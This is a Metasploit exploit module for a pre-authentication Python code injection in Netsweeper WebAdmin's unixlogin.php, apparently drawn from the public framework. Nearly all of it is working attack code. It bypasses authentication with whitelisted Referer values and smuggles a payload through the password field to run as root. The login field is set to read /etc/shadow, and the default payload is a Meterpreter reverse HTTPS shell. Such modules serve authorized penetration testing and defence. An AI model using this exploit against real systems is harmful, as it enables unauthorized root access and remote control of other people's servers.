## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection', 'Description' => %q{ This module exploits a Python code injection in the Netsweeper WebAdmin component's unixlogin.php script, for versions 6.4.4 and prior, to execute code as the root user. Authentication is bypassed by sending a random whitelisted Referer header in each request. Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable. }, 'Author' => [ # Reported to SecuriTeam SSD by an anonymous researcher # Reference exploit written by said anonymous researcher # Publicly disclosed by Noam Rathaus of SecuriTeam's SSD 'wvu' # Module ], 'References' => [ ['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'], ['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says'] ], 'DisclosureDate' => '2020-04-28', # SecuriTeam SSD advisory 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Privileged' => true, 'Targets' => [['Python', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'python/meterpreter/reverse_https' }, 'Notes' => { 'NOCVE' => 'Publicly disclosed via SecuriTeam SSD advisory', 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/webadmin/tools/systemstatus_remote.php'), 'headers' => { 'Referer' => rand_referer(:check) # Auth bypass via Referer header } ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 200 return CheckCode::Unknown('Target is not running Netsweeper.') end if res.body.include?('Permission Denied: Unauthorized access.') return CheckCode::Safe('Target has rejected our Referer auth bypass.') end # Example version information from /webadmin/tools/systemstatus_remote.php: # Version: 6.4.3 # Build Date: 2020-03-27 14:15:19 # Database Version: 139 unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first) return CheckCode::Detected( 'Target did not respond with Netsweeper version.' ) end if Gem::Version.new(version) <= Gem::Version.new('6.4.4') return CheckCode::Appears( "Netsweeper #{version} is a vulnerable version." ) end CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super referer = rand_referer(:exploit) vprint_status("Selecting random whitelisted Referer header: #{referer}") vprint_status("Injecting Python code into password field: #{fake_password}") normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php') print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}") # The application may block on the payload, so time out reasonably soon res = send_request_cgi({ 'method' => 'POST', 'uri' => normie_uri, 'headers' => { 'Referer' => referer }, 'vars_post' => { 'login' => '.', # Bypass user check by injecting `grep . /etc/shadow' 'password' => fake_password } }, 3.5) return unless res # An unexpected reply typically means some sort of error, so print it out fail_with(Failure::UnexpectedReply, res.body) end def fake_password return @fake_password if @fake_password # Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html word = rand_text_alphanumeric(8..42) salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo # Python code injection occurs in the $2 positional parameter from sh(1): # password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')") @fake_password = "#{word}', '#{salt}'); #{payload.encoded} #" end # Select a random Referer [sic] header value from an appropriate whitelist def rand_referer(method = :check) case method when :check %w[ webadmin/admin/systemstatus_inc_data.php webadmin/api/ webadmin/common/systemstatus_overview_ajax.php ].sample when :exploit %w[ systemconfig/edit_database_settings.php systemconfig/edit_file.php systemconfig/manage_certs.php webadmin/admin/service_manager_data.php webadmin/api/ webadmin/systemconfig/edit_email_sending_settings.php webadmin/systemconfig/grant_db_access.php ].sample else fail_with(Failure::BadConfig, "I don't know how to #{method}, but I do know how to love") end end end